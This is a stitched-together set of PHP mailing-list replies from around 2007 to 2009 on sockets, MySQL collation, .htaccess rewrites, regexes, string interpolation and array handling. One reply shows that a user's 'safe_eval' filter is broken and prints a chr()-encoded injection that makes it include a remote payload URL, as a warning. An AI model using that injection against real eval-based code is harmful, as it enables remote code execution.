Re: [PHP] [php] read/write error
Hello Mr HELP! 2009/6/12 HELP! izod...@gmail.com I can not get the stream_get_contents() to work. it's returning empty. Is that simply because there's nothing to read from the socket? If you have a login details ALOGINPASS 1A cant you just fwrite($ft, ALOGINPASS 1A); or do you need to add other things You've not told us what protocol you're using, but a quick google search seems to indicate that you're trying to send a login request message for a market data stream. You appear to using the character 'A' as the request terminator, whereas market data streams generally use 0x0A, which is a linefeed character. If the stream hasn't realised you've finished sending your login request, then it won't send a response. what is the meaning of this string GET / HTTP/1.0\r\nHost: www.example.com\r\nAccept: */*\r\n\r\n It's a HTTP 1.0 GET request, but that doesn't seem to be consistent with the rest of the data you've mentioned. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] order by what?
2009/6/11 PJ af.gour...@videotron.ca How can order by be forced to order alphabetically and ignore accents without stripping the accents for printout? This is a problem for both caps normal letters. Depends on the database. If you're using mysql, the order is governed by the collation used. To get the order you want, you need a case-insensitive and accent-insensitive collation. Exactly which one you use will depend on the character set that you're using, but if you're character set is utf8, then the utf8_general_ci collation should work: SELECT fieldname FROM tablename ORDER BY fieldname COLLATE utf8_general_ci; -robin

Hiyah, Well the mysql docs confirm that utf8_general_ci is accent-insensitive and case-insensitive ( http://dev.mysql.com/doc/refman/5.4/en/charset-collation-implementations.html).

Re: [PHP] PCI compliance issue
2009/6/2 Skip Evans s...@bigskypenguin.com
Hey all,
The original programmer created the following in the system's .htaccess
file:
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule .* index.php
...which sends any incorrect URL to the home page, correct?
It rewrites any request for a non-existent file or directory to index.php.
The first url (http://www.ranghart.com/cgi-bin/?D=A) requests the cgi-bin
directory. Presumably this directory exists in some form which would prevent
your rewrite rule from firing, but access to the directory is denied - hence
the 403 FORBIDDEN.
The second url (http://www.ranghart.com/cgi-bin/%3fD=A) requests a file
called /cgi-bin/?D=A. This file genuinely doesn't exist so the url gets
rewritten to index.php - hence your 200 OK response.

As others have said, you can check what unicode block the characters are from. For segments of text that are a little longer (one or two sentences), you can use n-gram based language identification, which can sometimes be spookily accurate. If you want to give that a go, there's a Pear package called Text::LanguageDetect which will do that [http://pear.php.net/package/Text_LanguageDetect]. It doesn't have trigrams for Persian in the lang.dat, but I don't imagine it would be too hard to add them, if that's what you need. -robin

Because an empty array evaluates to false when cast to bool (which is

I've already given an example of how formally defined interfaces add value and you chose to dismiss it on the grounds that there's no need to check interfaces if you don't use interfaces. *Every* modular system uses interfaces whether they're formally defined or not. Some people seem to use them simply because they are there, or that was how they were taught. Some people don't use them because they weren't there when they learnt, or they weren't taught how. What's your point? You are still missing the fundamental point. There is absolutely nothing I can do WITH interfaces that I cannot do WITHOUT them, therefore they are redundant. How about compile-time checking that the interface has been correctly implemented? If you don't use interfaces there is no need for such checking. ok, s/interface/api/ if that makes you happier. If you need a concrete example, lets say your app has a nifty plugin system so third-parties can extend it. You have an API for plugins to register themselves, and each plugin exposes a set of methods that your application calls when necessary. If you define an 'interface' for your API and each plugin implements that interface, then if there's a plugin that doesn't implement it properly you'll know as soon as the plugin loads. If you don't formally define the interface, you're not going to know that the plugin's wrong until the badly implemented method gets called. And even then it might just introduce a hard to diagnose bug rather than an obvious failure. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

First post to this list! I'm trying to figure out how to evaluate a

want addition, subtraction, multiplication and division - I'd like to
take advantage of other functions like ceil, floor etc.
In reply to my own question, I came up with the following function based
on a comment on php.net
(http://www.php.net/manual/en/function.eval.php#71045). I had a look at
the array returned by get_defined_functions() and the maths functions
seem mostly to be grouped (with the exception of the random number
stuff). It works on my installation but there's nothing in the
documentation about get_defined_functions() returning in a particular
order - it would be safer to list each math function but I'm lazy.
protected function safe_eval($s) {
$funcs=get_defined_functions();
$funcs=$funcs[internal];
$funcs=array_slice($funcs,array_search(abs,
$funcs),array_search(rad2deg,$funcs)-array_search(abs,$funcs));
$sfuncs=(.implode()(,$funcs).);
$s=preg_replace('`([^+\-*=/\(\)\d\^|\.'.$sfuncs.']*)`','',$s);
if (empty($s)) {
return 0;
} else {
try {
eval(\$s=$s;);
return $s;
} catch(Exception $e) {
return 0;
}
}
}
That kind of thing is pretty dangerous.
In this case the regex is broken - you're putting all the function
names within the character class. That means that any character
contained within one of the allowed function names may be used in the
eval. So you can use any function that consists entirely of the
characters
abcdefghilmnopqrstuwxy01234567890_+-*=/^|
which means you can include() malicious content like this:
safe_eval('include(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(101).chr(120).chr(97).chr(109).chr(112).chr(108).chr(101).chr(46).chr(99).chr(111).chr(109).chr(47).chr(112).chr(97).chr(121).chr(108).chr(111).chr(97).chr(100).chr(46).chr(112).chr(104).chr(112))');
which evaluates to include('http://example.com/payload.php')

Thanks for the response. However, I must be doing something wrong

Only the nodes specified are in the list, but the *values* of the

change your for-loop to this and you'll see just the expected nodes:
foreach ($nodeList as $node) {

[PHP] Playing around with strings
Hiyah,
Here's a trick you can use to evaluate expressions within strings. It
may not be particularly useful, but I thought it was interesting.
It exploits two things:
1. If you interpolate an array element within a string, the index of
the element is evaluated as a php expression.
2. You can can make your own magic arrays by extending arrayObject.
?php
class identityArrayObject extends arrayObject
{
public function offsetGet($index)
{
return $index;
}
}
$eval = new identityArrayObject;
print The square root of {$eval[pow(2,2)]} is {$eval[sqrt(4)]} \n;
print Price: $price GBP ({$eval[$price * 1.175]} GBP including tax) \n;
?
You can extend it to add your own formatting elements:
?php
class uppercaseArrayObject extends arrayObject
{
public function offsetGet($index)
{
return strtoupper($index);
}
}
$U = new uppercaseArrayObject;
$city = 'edinburgh';
print The capital of Scotland is $U[$city] \n;

yes, it matters when you're trying to include a complex variable
this is a $variable; # ok

this is an $array[word]; # warning under E_STRICT
this is an $array[two words]; # not ok, can't have whitespace
this is an {$array[two words]}; # not ok, indexes should be quoted
this is an {$array['two words']}; # ok
this is an $object-property; # ok if you're after the property
this is an {$object}-property; # but you need brackets if you want
the object as a string

Well, if you have all the settings in a DB already, then what I would

SELECT param_name, param_value FROM yourTable;
then
while ( list($name, $value) = mysql_fetch_row($results_handler) ) {

put this in place of your existing defines and you should be good.
Thanks! Works fine!
I need now a modification for that.
Two values:
SELECT param_name, param_value1, param_value2 FROM yourTable;
IF param_value1 is empty, than it should use param_value2
try something like this sql:
SELECT param_name, IF ((param_value1 '') AND NOT
ISNULL(param_value1), param_value1, param_value2) AS param_value FROM
yourTable
or use COALESCE()
(http://dev.mysql.com/doc/refman/5.0/en/comparison-operators.html#function_coalesce)

The first time around the loop, both $key and $value are undefined, as
you're not setting them until the end condition.
But that's not a big deal as nothing gets done first time through the
loop except for $get_hloopRow1 getting incremented.
The next time through the loop, because $get_hloopRow1 is now not
zero, the first conditional gets executed. You add some html and the
first value from the array to $text to the string and incremenent
$get_endRow.
All subsequent times through the loop, nothing gets done because the
$get_endRow == 0 condition fails. $get_endRow never gets incrememented
again.
that help at all?

FYI: In both cases, the column name and data type are matched, as expected. It appears to be doing lazy evaluation on the pattern, even though every resource I can find states that every alternative is tried in turn until a match is found. It's not lazy. Given alternate matching subpatterns, the pcre engine choses the leftmost pattern, not the longest. For instance: ?php preg_match(/a|ab/, abbot, $matches); print_r($matches); ? Array ( [0] = a ) This isn't what you'd expect if you were familiar with POSIX regular expressions, but matches Perl's behaviour. Because each of your subpatterns can match an empty string, the lefthand subpattern always matches and the righthand subpattern might as well not be there. The simplest solution, if you don't want to completely rethink your regexp might be to replace \s with [[:space:]], remove the delimiters and the i modifier and just use eregi(). like so: $pattern = '[[:space:]]*(`?.+`?)[[:space:]]*int[[:space:]]*(\(([0-9]+)\))?[[:space:]]*(unsigned)?[[:space:]]*(((auto_increment)?[[:space:]]*(primary[[:space:]]*key)?)|((not[[:space:]]*null)?[[:space:]]*(default[[:space:]]*(`.*`|[0-9]*)?)?))[[:space:]]*'; eregi($pattern, $column1, $matches); print_r($matches); // match eregi($pattern, $column2, $matches); print_r($matches); // match -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

$listA = powerset(array_slice($list, 0, $partition));
$listB = powerset(array_slice($list, $partition));

ksort($listB, SORT_NUMERIC);
$target = round($target, 2);

$sum = round($A + $B, 2);
if ($sum $target) continue 1;

Re: [PHP] Problem iterating over an array with foreach and a reference variable
On 24/07/07, Chris Mika [EMAIL PROTECTED] wrote:
I don't know if I'm doing something wrong or if this is a bug.
Very simply: I created an array with values 1-5. I use a foreach loop to
iterate over it to add 1 to the values. It correctly iterates over the
array except for the last value.
Code:
?php
$test = array(1, 2, 3, 4, 5);
print original: br;
foreach ($test as $part) {
print ($part) ;
}
print br changing: br;
foreach ($test as $part) {
print ($part - ;
$part ++;
print $part) ;
}
At this point $part is a reference to the last element of $test,
so every time you change $part, you also change that last element.
print brfinal:br;
foreach ($test as $part) {
print ($part) ;
}
So if you did a var_dump of $test inside this loop you'd see the last
element changing each time a new value's assigned to $part, probably
something like this:
array(5) { [0]= int(2) [1]= int(3) [2]= int(4) [3]= int(5) [4]= ?(2) }
array(5) { [0]= int(2) [1]= int(3) [2]= int(4) [3]= int(5) [4]= ?(3) }
array(5) { [0]= int(2) [1]= int(3) [2]= int(4) [3]= int(5) [4]= ?(4) }
array(5) { [0]= int(2) [1]= int(3) [2]= int(4) [3]= int(5) [4]= ?(5) }
array(5) { [0]= int(2) [1]= int(3) [2]= int(4) [3]= int(5) [4]= ?(5) }
Does that make sense?

You can reduce the above statement to the following:

This is incorrect in most cases, and even when it's not it really really is tncy weency. - memory overhead since buffered content remains in memory until flushed. Indeed, but memory is cheap and you're likely to run out of memory for other reasons way before output buffering causes it. Agreed, I was hard pressed to come up with cons in the first place :) Modern browsers often start partially rendering HTML as soon as it arrives rather than waiting for the page to load completely. Obviously, if you're waiting until the end of the script before actually sending any HTML, they can't do that so your page might appear less responsive. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Hi,
I've written a short regexp which will *count* how many capital letters
are in a given string (the woefully simple: '/[A-Z]/')
Although it's an English language web site, I'm curious how you'd
count capital letters that span beyond just the standard A-Z.
For example characters such as the Latin capital letter S with Acute.
I'm not interested in covering all possible character sets, but I
don't want to piss-off any Europeans who may register on the site and
want to use one of their own capital letters.
Anyone approached this before?
It'd probably be a good start to use [[:upper:]] rather than [A-Z].
There's also \p{Lu} if you use utf-8 mode which matches utf-8
characters with the uppercase letter property.

I need to strip out a domain name from a URL, and ignore subdomains

I can use parse_url to get the hostname. And my first thought was to
take the last 2 segments of the hostname to get the domain.
So if the
URL is http://www.example.com/
Then the domain is example.com. If the URL is
http://example.org/ then the domain is example.org.
This seemed to work perfectly until I come across a URL like
http://www.example.co.uk/ My script thinks the domain is co.uk.
So I added a bit of code to account for this, basically if the 2nd to
last segment of the hostname is co then take the last 3 segments.
Then I stumbled across a URL like http://www.example.com.au/
So it occurred to me that this is not the best solution, unless I
have a definitive list of all exceptions to go off of.
Does anyone have any suggestions?
Any advice is much appreciated.
Well, it's not very clean, but if you just need to remove
the subdomain/CNAME from the domain
?
$hostname = parse_url($_SERVER['SERVER_NAME']);
$domsplit = explode('.',$hostname['path']);
for($i=1;$icount($domsplit);$i++) {
$i == (count($domsplit) - 1) ? $domain .= $domsplit[$i] :
$domain .= $domsplit[$i]..; }
echo $domain;
There's probably a much better way to do it, but in the
interest of a quick response, that's one way.
Yes, that's basically what my code already does.
The problem is that what if the url is http://yahoo.co.uk/; (note the lack
of a subdomain)
Your script thinks that the domain is co.uk. Just like my existing code
does.
So we can't count on taking the last 2 segments. And we can't count on
ignoring the first segment. (The subdomain could be anything, not just www)
In that case you can't do it just by parsing alone, you need to use DNS.
?php
function get_domain ($hostname) {
dns_get_record($hostname, DNS_A, $authns, $addt);
return $authns[0]['host'];
}
print get_domain(www.google.com) . \n;

Whereas outside a string, $foo[myindex] will give you a notice and
$foo['myindex'] is OK; Inside a string, $foo[myindex] will give you no
notice and $foo['myindex'] will give you a parse error.
The manual suggests that $foo[myindex] is treated the same inside a

what's used as the index. This doesn't seem to be born out by reality.

list($key, $value) = each($arr);
array_pop also removes the element from the array so add one more line:
unset($arr[$key]);
Yeah, but he's not actually popping the last element of $arr, he's
just using it to get the last key from $arr_keys.

Or alternatively, use vim and LaTeX and produce documents of a consistently higher quality than practically any top-class word processor. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

I think it was on phpclasses.org but can't find it. Maybe someone else remembers it? And more recently a commercial vendor is performing something along the lines of 'curve recognition' to the same effect. That's fine for any vector graphics (banner ads might fall here.) False positives will be high with beach photos from family vacation, for example.
